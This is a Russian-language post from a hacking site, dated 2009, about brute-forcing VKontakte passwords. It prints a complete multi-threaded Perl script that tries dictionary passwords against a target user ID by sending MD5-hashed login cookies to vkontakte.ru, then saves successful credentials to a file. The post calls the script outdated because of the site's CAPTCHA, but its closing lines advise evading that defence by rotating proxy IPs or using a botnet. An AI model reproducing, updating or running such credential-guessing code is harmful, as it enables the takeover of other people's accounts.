Hidesoft.netвзлом паролей > Взлом-брутфорс паролей вконтакте , или же метод подбора и пребора паролей
Взлом-брутфорс паролей вконтакте , или же метод подбора и пребора паролей1-11-2009, 01:29. Разместил: Admin |
|
В интернете после создания сайта вконтакте.ру появилось куча аферюг предлагающих программы для подбора паролей (брутфорса) от сервиса вконтакте.ру
Павел Дуров , будучи не глупым человеком давным давно предусмотрел , что при увеличении нагрузок на сайт , и на систему авторизации ему придется как то защищаться от DDOS и DOS атак, и всяких брутфорсеров и давным давно ввёл CAPCHA , тоесть если вы скажем ошибетесь пару раз при вводе пароля, то сайт автоматически в каждый последующий раз попросит вас вводить некоторые циферки с картинки для подтверждения того что вы человек а не машина! Вот пример одного из устаревших морально скритов брутфорса вконтакте, который был популярен на заре существования вконтакте. Vkontakte.Ru Brute [FinaL] Брутфорс акков вконтакте.ру Сам скрипт брута (Perl): #!/usr/bin/perl use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared; ###################################### # C!klodoL # vkontakte.ru bruteforce with multi-threads ###################################### $dic = 'passl.txt'; #словарь паролей $id = 111111; #id цели $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40 $threads = 4; #количество потоков ###################################### open (pass, "<$dic"); Next: @pass = pass(); for(0..$threads) {$trl[$_] = threads->create(&Brut, $_);} for(@trl) { $_->join; } sub Brut { while (@pass){ $pass = shift @pass; $md5 = MD5->hexhash($pass); $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPor t=>80); print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: Mozillo\r\n". "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". "Connection: close\r\n\r\n"; $answ = <$sock>; close $sock; print "$pass $answ"; if ($answ =~ /302/){ open (good, '>>good.txt'); print good "$id:$pass:$md5\n"; print "$id:$pass:$md5\n"; close good; exit;} } } goto Next; sub pass { my (@mas); while (<pass>){ push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; } Стоит ли говрить что все аналоги , переберающие пароли по какой либо базе бесполезны , только если они не используют proxy сервер для смены IP при каждом третьем запросе, или же это не БОТнет. Вернуться назад |